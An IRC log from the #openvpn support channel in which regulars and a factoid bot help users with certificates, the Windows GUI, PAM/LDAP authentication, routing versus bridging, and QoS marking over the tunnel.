13:41 < linuxthefish> how do i use certificates inopenvpn?
13:41 < linuxthefish> and why is it asking for username and password?
13:41 <+pekster> For certificates, read !howto (and specifically the PKI section of that, also linked from !pki )
13:42 <+pekster> Read --auth-user-pass if you want to know why you're asked for a user/pass
13:42 <+pekster> (in the manpage. !man for a web link)
13:42 <+pekster> If you're still confused, try asking a follow-up question based on what you read there
13:42 <@ecrist> wsky: I told you it works earlier:
13:42 <@ecrist> 11:33:27 <@ecrist> wsky: I run it without a problem.
13:42 <@ecrist> 11:33:57 <@ecrist> I'd lean more toward something you're doing wrong.
13:42 < linuxthefish> !howto
13:42 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:43 < linuxthefish> my friend gave me files called ca.cert, client.conf, client.cert and client.key - what part do these files come in?
13:44 < linuxthefish> !pki
13:44 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server
13:44 <@vpnHelper> cert was signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
13:44 < linuxthefish> yes, but where do i put client.conf?
13:45 < linuxthefish> in Windows
13:46 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has joined #openvpn
13:46 -!- mode/#openvpn [+o debbie10t] by ChanServ
13:46 <+pekster> linuxthefish: Read about how the GUI works at !gui
13:47 <+pekster> You need to name it .ovpn if you want the GUI to pick up on it; optionally if you call openvpn.exe from the command-line, the extension doesn't matter
13:47 < linuxthefish> !gui
13:47 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
13:48 <@debbie10t> Not sure if this has anything to do with the recent forum upgrade but bookmarking seems to not work ~ i will post a thread about it on the forum & website support
13:48 < linuxthefish> what is http://swupdate.openvpn.net/privatetunnel/client/privatetunnel.msi ?
13:49 <+pekster> Not OpenVPN; that's a commercial product that is part of the "Access Server" product/service line
13:50 <+pekster> You want to download from the links in !download if you want OpenVPN
13:50 < linuxthefish> http://i.imgur.com/XZnwYxr.png ??
13:50 <+pekster> Right, that's not oepnvpn at all
13:50 <+pekster> !connect
13:50 < linuxthefish> !download
13:50 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn
13:50 <@vpnHelper> (only thing supported here) there is no separate download for client/server, it is the same install with different configs
13:50 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
13:50 <+pekster> You should uninstall that unless you actually intended to be running the "Connect" product
13:51 -!- phunyguy_ [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has joined #openvpn
13:52 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:52 < linuxthefish> "Error opening registry for reading (HKLM/SOFTWARE/OpenVPN). OpenVPN is proberly not installed.
13:52 < linuxthefish> I'm trying to install it and get this error!!
13:53 < linuxthefish> using openvpn-gui.exe
13:53 <+pekster> Need to run as admin, as explained at the !gui document
13:53 < linuxthefish> i just did that
13:53 <+pekster> 3rd paragraph, with the nice bug "Please note"
13:53 <+pekster> big*
13:53 < linuxthefish> !gui
13:53 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
13:54 <+pekster> Apparently you didn't, becuase you get that error when you have _not_ run the GUI with admin rights
13:54 < linuxthefish> this is the install, not the actual thing
13:54 < linuxthefish> i'm using right click and run as admin
13:54 <+pekster> openvpn-gui.exe is not the installer
13:55 <+pekster> The installer is openvpn-install-2.3.2-I003-PLATFORM.exe
13:55 -!- Hazza [~Harrison@162.243.39.102] has joined #openvpn
13:55 <+pekster> _both_ require admin rights
13:55 < linuxthefish> http://sourceforge.net/projects/openvpn-gui/
13:55 <@vpnHelper> Title: OpenVPN GUI | Free Security & Utilities software downloads at SourceForge.net (at sourceforge.net)
13:55 <+pekster> You don't want that
13:55 < linuxthefish> why does the download link point there?
13:55 <+pekster> It doesn't...
13:55 <+pekster> !download
13:55 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
13:55 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
13:55 <+pekster> Download from _there_
13:55 <+pekster> The link in #1
13:56 <+pekster> The "Windows Installer" is what you want
13:56 < linuxthefish> urgh, why don't you just have one actual software?
13:56 <+pekster> WE DO
13:56 < linuxthefish> why lots of commercial things then on the home page?
13:56 <+pekster> If you download the "one actual software" at that link I've now pointed you to at least 3 times, it installs everything you need
13:56 <+pekster> Becuase OpenVPN Technologies Inc that owns the homepage tries to confuse users
13:56 <+pekster> It's a bit of an asshat maneuver, but there's not a lot we can do about that right now
13:57 < marlinc> Does anybody know what this means: No remote address supplied to OpenVPN LDAP Plugin (OPENVPN_PLUGIN_CLIENT_CONNECT).?
13:59 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
13:59 <+pekster> marlinc: Taken out of context, not really. The LDAP plugin isn't an official part of openvpn but supplied as a 3rd party module for which you should have (hopefully) received documentation on its operation
14:00 <+pekster> OPENVPN_PLUGIN_CLIENT_CONNECT is a plugin hook OpenVPN procides, but beyond that the error message comes from the 'OpenVPN LDAP Plugin'
14:00 <+pekster> provides*
14:00 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
14:00 < marlinc> Well I know that
14:00 <+pekster> So the meaning of that error is specific to the LDAP plugin
14:01 -!- phunyguy_ [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
14:01 -!- phunyguy_ [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
14:01 < marlinc> How is the RADIUS support in OpenVPN?
14:01 < marlinc> Does that need a separate plugin?
14:01 <+pekster> Either drop in a plugin, or what I prefer to do is write a tiny script via --auth-user-pass-verify and feed it to radiusclient or something
14:02 <+pekster> A 15 line script is, IMO, easier than some 3rd party plugin. Optionally if this is a PAM-supported system, you can use the offiical PAM plugin and configure PAM to use any backend it supports
14:02 <@ecrist> that's what I prefer
14:02 <+pekster> (LDAP is one, for instance)
14:02 < marlinc> Well if a bash script can be done. I'll try that for the LDAP directory
14:03 <+pekster> You can use any script you'd like, or optionally expect a plugin to provide the hook at the expected points during auth
14:03 <+pekster> All options ultimately do the same thing, so pick what works best in your environment
14:04 < marlinc> I could add LDAP PAM login and do a check using PAM I guess
14:06 <+pekster> I went the script route when the backend to use depended on the username submitted, so it wasn't a "simple" LDAP/RADIUS bind, but a complex decision based on a number of factors. Otherwise PAM is often easier, if available
14:06 < marlinc> http://community.openvpn.net/openvpn/browser/sample-scripts/auth-pam.pl?rev=d02a86d37bed69ee3fb63d08913623a86c88da15
14:06 < marlinc> Ah thats nice
14:06 <@vpnHelper> Title: auth-pam.pl in sample-scripts – OpenVPN Community (at community.openvpn.net)
14:07 <+pekster> OpenVPN ships with a PAM plugin, fwiw
14:07 < marlinc> It has "auth-user-pass-verify "auth-pam.pl" via-file" in the config by default
14:08 -!- namidark_ [~namidark@192.34.61.38] has joined #openvpn
14:08 <+pekster> Sure, if you'd prefer to build off the sample perl script
14:09 < marlinc> Well I; m searching for the plugin you're talking about
14:09 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Quit: No Ping reply in 180 seconds.]
14:09 -!- Haxxa [~Harrison@162.243.39.102] has quit [Ping timeout: 240 seconds]
14:09 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
14:09 -!- namidark [~namidark@192.34.61.38] has quit [Ping timeout: 240 seconds]
14:09 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
14:09 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
14:09 -!- namidark_ is now known as namidark
14:10 -!- phunyguy_ is now known as phunyguy
14:11 < marlinc> Ah found it
14:11 <+pekster> A default build of openvpn puts it in /usr/local/lib/openvpn/openvpn-plugin-auth-pam.so
14:18 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
14:22 < Sembei> hello, I'm looking for bridging 2 networks with openvpn (os x and windows) and all info I can find is regarding about how to do it on linux with bridge-utils
14:22 < Sembei> how can I do it osx-win ?
14:23 <@EugeneKay> !bridge
14:23 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
14:23 <@EugeneKay> !whybrdige
14:23 <@EugeneKay> !whybridge
14:23 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
14:23 <@EugeneKay> !layer2
14:23 <@vpnHelper> "layer2" is (#1) you are using tap, what specific layer2 protocol do you need to work over the vpn? or (#2) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better or (#3) protocols that use layer2 communicate by MAC address, not IP address
14:27  * Sembei reading
14:39 -!- Martyn [~Martin@216.38.134.150] has quit [Quit: Computer has gone to sleep.]
14:39 -!- Denial [Denial@2.223.161.125] has quit []
14:39 < Sembei> EugeneKay: PCoIP works with tun ?
14:40 <@EugeneKay> I hasve no idea what that is
14:40 <@EugeneKay> The fact that it has IP in the name indicates to me that yes, it works as a Layer 3 protocol and would be fine via tun
14:42 <+pekster> Generally anything "over IP" is fine to transport over tun, multicast/broadcast applications excepted
14:42 < Sembei> so I don't need to use tap to connect 2 LAN with ip protocols only right?
14:42 <+pekster> Exactly, and not using tap means you don't need to worry about all this OS-specific bridging nonsense
14:42 <@EugeneKay> Yup, just route it
14:43 <@EugeneKay> !route
14:43 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:43 <@vpnHelper> behind the server or client
14:43 < Sembei> the only thing is that PCoIP can restrict by mac address so I'm not completly sure
14:43 <@EugeneKay> !serverlan
14:43 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:43 <@EugeneKay> !clientlan
14:43 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:43 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
14:43 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:43 <@EugeneKay> Read the first, follow flowcharts ^
14:44 < Sembei> ok
14:44 -!- GeekFreak [~GeekFreak@123.208.90.172] has joined #openvpn
14:45 < GeekFreak> hey people
14:49 < GeekFreak> everyone having a sleepy sleep
14:51 <+pekster> No. http://catb.org/~esr/faqs/smart-questions.html#prune
14:51 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:52 <+pekster> If "everyone" was asleep, the planet would be in an awful lot of trouble
14:53 -!- Martyn [~Martin@216.38.134.150] has joined #openvpn
14:53 -!- MadClog [~MadClog@mad-clog.xs4all.nl] has joined #openvpn
14:54 < MadClog> !serverlan
14:54 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:54 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:54 < Sembei> now comes the next question Zero Clients has ip forward?
14:55 <+pekster> That sounds like a statement, not a question
14:56 < MadClog> !clientlan
14:56 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
14:56 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:56 <+pekster> MadClog: FYI, the concept of exposing a LAN behind each VPN peer is related, but each is independent of the other
14:57 <+pekster> In other words, you can expose neither, either one, or both LANs to the other side of a VPN connection
14:58 < Sembei> Zero Clients are just a tegra2 chip with a kind of closed linux embed
14:59 <+pekster> No clue then; you'd need to consult the vendor of this "closed Linux" (sounds awful.) Personally, I recommend openwrt for an embedded FOSS routing platform
14:59 < Sembei> and seems that having all machines in the LAN having ip forwarding enabled as mandatory
14:59 <+pekster> Um, huh?
14:59 < Sembei> http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing
15:00 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net)
15:00 < Sembei> Every machine with a LAN behind it must have IP forwarding enabled
15:00 <+pekster> With a LAN _behind_ it
15:00 <+pekster> Not _in_ the LAN behind an OpenVPN peer
15:00 <+pekster> (huge difference)
15:00 < Sembei> ah ! sorry missunderstood
15:01 <+pekster> If it helps, think of openvpn as nothing but a router (albiet one with some cool encryption support)
15:01 <+pekster> Routers need IP forwarding turned on to do their job, and so does an OpenVPN host acting as a router
15:02 < Sembei> ic
15:02 -!- occup4nt [~null@192.195.83.10] has joined #openvpn
15:02 < Sembei> this is my first experience with OpenVPN and I spent all day reading docs
15:02 < Sembei> almost all of them are for linux
15:02 < Sembei> and I'm on mac atm
15:03 <+pekster> Most of the info applies to any OS; only the distro-specifics change, and when you're routing that's really just limited to IP forwarding and your firewall
15:04 <+pekster> Bridging adds a whole new layer of complexity to the mix becuase now you need to deal with how you configure a bridge in your OS, and that's very distro-centric
15:04 < Sembei> since I asked here I thought tap was the only solution and bridge-utils were missing
15:04 <+pekster> (thus we recommend you avoid it unless you _know_ you need it)
15:04 -!- occupant [~null@204.14.158.226] has quit [Ping timeout: 246 seconds]
15:04 <+pekster> routing is, truely, a lot easier
15:05 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
15:09 < Sembei> routes are managed by openvpn conf file or are needed to add separately ?
15:09 <@krzee> !route
15:09 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
15:09 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
15:09 <@vpnHelper> the server or client
15:10 <@krzee> !forget route 3
15:10 <@vpnHelper> Joo got it.
15:10 <@krzee> !forget route 3
15:10 <@vpnHelper> Joo got it.
15:10 -!- Martyn [~Martin@216.38.134.150] has quit [Quit: Computer has gone to sleep.]
15:10 <@krzee> !learn route as See !tcpip for a basic networking guide
15:10 <@vpnHelper> Joo got it.
15:10 <@krzee> !learn route as See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client
15:10 <@vpnHelper> Joo got it.
15:10 <@krzee> !route
15:10 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client
15:11 <@EugeneKay> That looks cleaner
15:11 <@krzee> much =]
15:11 -!- Martyn [~Martin@216.38.134.150] has joined #openvpn
15:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:17 -!- linuxthefish is now known as Guest4438
15:18 -!- linuxthefish [~linux@217.147.84.35] has joined #openvpn
15:18 < linuxthefish> how do i portforward in openvpn on linux?
15:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
15:23 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
15:28 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
15:32 -!- mattock is now known as mattock_afk
15:32 -!- antisober552 [~antisober@97e5a332.skybroadband.com] has joined #openvpn
15:34 < antisober552> okai im looking for some help i want to install openvpn to my vps but i get can't decompress data; zlib not available bot i have done a web search and found many fixes which have not helped me fix this can someone help with this
15:36 < antisober552> please can someone help me with can't decompress data; zlib not available <- this issue
15:37 <+pekster> Taken out of context, without explaining what you've done, or including any relevant log messages leading up to that point, no.
15:37 < antisober552> wow
15:37 < antisober552> you could of asked for the log
15:37 <+pekster> And you could have read the topic
15:37 <+pekster> An air of presumption does you no good
15:38 < antisober552> oh im sorry for being inpatients
15:38 < antisober552> so do u want the log
15:38 <+pekster> The fact that you're impatient to re-post your "please help me" query not even 2 minutes later might have given me the wrong impression of you, but your 0/2 so far
15:38 <+pekster> Yes, that would be nice
15:38 < antisober552> okai
15:39 < antisober552> http://pastebin.com/8VBsVQpZ
15:39 <+pekster> !as
15:39 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:39 <+pekster> "Access Server" is not openvpn
15:40 <+pekster> (this too is in the topic you didn't read)
15:40 < antisober552> ahh sorry
15:40 < antisober552> thanks for your help
15:40 <+pekster> np, but use the commercial resources for support with the commercial products
15:42 -!- Voss [~Voss@unaffiliated/voss] has joined #openvpn
15:44 -!- MadClog [~MadClog@mad-clog.xs4all.nl] has quit [Quit: Thanks for all the fish]
15:44 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
15:45 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-jkiukwpfdsngefvo] has quit [Ping timeout: 272 seconds]
15:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
15:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-vqglgeyfhdlaycld] has joined #openvpn
15:58 < linuxthefish> nobody know how to portforward?
15:59 < linuxthefish> nothing in documentation!
15:59 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
16:02 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
16:16 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
16:26 -!- master_of_master [~master_of@p4FD7B5A2.dip0.t-ipconnect.de] has joined #openvpn
16:30 <+pekster> linuxthefish: Becuase that's not an OpenVPN concept. You portforward "with" openvpn the exact same way you do "without" openvpn
16:30 -!- master_o1_master [~master_of@p4FF2405A.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds]
16:32 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has left #openvpn []
16:34 -!- Martyn [~Martin@216.38.134.150] has quit []
16:34 -!- klein [~klein@177.101.117.40] has joined #openvpn
16:34 -!- klein [~klein@177.101.117.40] has quit [Changing host]
16:34 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:42 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
16:42 -!- GeekFreak [~GeekFreak@123.208.90.172] has quit [Remote host closed the connection]
16:42 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
16:46 -!- JSharpe [~JSharpe@46.23.66.28] has quit [Read error: Connection reset by peer]
16:49 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
16:50 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
16:50 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 245 seconds]
16:52 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
16:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
16:55 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:59 -!- realtime [~realtime@unaffiliated/realtime] has joined #openvpn
17:01 -!- thief [~realtime@unaffiliated/realtime] has quit [Ping timeout: 245 seconds]
17:11 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has joined #openvpn
17:13 -!- Voss [~Voss@unaffiliated/voss] has left #openvpn ["Leaving"]
17:15 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
17:21 -!- klong- [~klong@76.22.41.14] has joined #openvpn
17:21 -!- klong- [~klong@76.22.41.14] has quit [Client Quit]
17:21 -!- klong- [~klong@c-76-22-41-14.hsd1.wa.comcast.net] has joined #openvpn
17:31 -!- occup4nt [~null@192.195.83.10] has quit [Quit: Leaving]
17:35 -!- occupant [~null@192.195.83.10] has joined #openvpn
17:49 -!- Voss [~Voss@unaffiliated/voss] has joined #openvpn
17:51 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 244 seconds]
18:08 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
18:10 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
18:10 -!- schnitzl [~schnitzl@dslb-178-010-081-037.pools.arcor-ip.net] has quit [Ping timeout: 265 seconds]
18:12 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 260 seconds]
18:13 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
18:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-vqglgeyfhdlaycld] has quit [Ping timeout: 245 seconds]
18:31 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 245 seconds]
18:33 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has quit [Quit: Saliendo]
18:43 < grimeton> there is no way to copy the nfmark value of the tunneled packet over to the encrypted packet on linux?
18:43 < grimeton> i found tos which could provide a workaround but directly copying the mark value would be the best way i guess
18:53 <+pekster> grimeton: You can't copy either nfmark or ctmark, no. It's a completely different packet. Use DSCP if you need that kind of thing
18:53 <+pekster> (DSCP is generally how you'd "flag" traffic anyway across a routing domain, and openvpn is really a router in this capacity)
18:54 < grimeton> pekster: as i'm able to copy the tos (qos, dscp, whatever it's called nowadays), i was hoping it's possible to copy the nfmark over too
18:54 -!- Voss [~Voss@unaffiliated/voss] has left #openvpn ["ADIOS"]
18:55 <+pekster> Completely different concepts
18:55 < grimeton> ah yeah, peaking on the inside packet and setting the value on the outside packet ... whatever
18:55 <+pekster> DSCP is contained in the packet itself. fwmark is in the kernel's memory structure
18:55 <+pekster> Right
18:55 < grimeton> yeah i know the difference
18:56 < grimeton> but having the nfmark value copied over to the external packet would allow me to queue the outgoing traffic of the vpn based on the enqueing rules i use for other routing stuff as well
18:56 < grimeton> as i can do with ipsec
18:56 < grimeton> because after encryption the ipsec packet is still the same packet when it comes to the kernel and the set nfmark
18:57 <+pekster> Right. That said, given the number of bits in the DSCP field of a packet, surely you have enough to sort them into QoS queues ;)
18:58 < grimeton> as i'm using nfmarks for all queueing it's just a dirty way of carrying info over by using nfmark->tos->nfmark
18:58 <+pekster> Yup, though why not avoid marking the traffic in the first place on the traffic going over the VPN?
18:59 < grimeton> wut?
18:59 <+pekster> Just put the rules to do the QoS for the tap traffic
18:59 <+pekster> tap/tun, whatever device you're using
18:59 < grimeton> and how do i know what kind of traffic is carried inside?
18:59 < grimeton> like low latency stuff that needs priority?
18:59 <+pekster> Oh, I see what you mean, k
18:59 <+pekster> Yea, --passtos might be as close as you get
19:00 <+pekster> Though if you keep the DSCP meaning consistent, it'll still do what you want and you only have to have a single QoS ruleset on your physical interface's egress
19:00 < grimeton>  i'm stripping all tos on ingress
19:00 < grimeton> and all routers after mine are stripping all tos on ingress
19:01 < grimeton> i also don't want anyone to be able to mess with my queues with the help of tos
19:01 <+pekster> Yea, that's SOP on your network borders (or from nodes you don't control)
19:01 <+pekster> RFC even recommends it
19:29 -!- xeqution [~z6@unaffiliated/z6] has quit [Ping timeout: 245 seconds]
19:29 -!- zedsix [~z6@CPE-120-148-72-210.gdiv1.vic.bigpond.net.au] has joined #openvpn
19:29 -!- zedsix [~z6@CPE-120-148-72-210.gdiv1.vic.bigpond.net.au] has quit [Changing host]
19:29 -!- zedsix [~z6@unaffiliated/z6] has joined #openvpn
19:30 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 260 seconds]
19:35 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
19:35 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
19:41 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 244 seconds]
19:44 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
19:45 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:50 -!- klong- [~klong@c-76-22-41-14.hsd1.wa.comcast.net] has quit [Quit: klong-]
19:57 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
20:08 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
20:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.2]
20:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 265 seconds]
22:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 252 seconds]
22:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:11 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:16 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Operation timed out]
23:17 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
23:29 -!- Ziber [~Liber@liber.in] has quit [Ping timeout: 252 seconds]
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
23:34 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
23:35 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 265 seconds]
23:37 -!- Ziber [~Liber@liber.in] has joined #openvpn
--- Day changed Thu Nov 07 2013
00:02 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
00:09 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:09 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
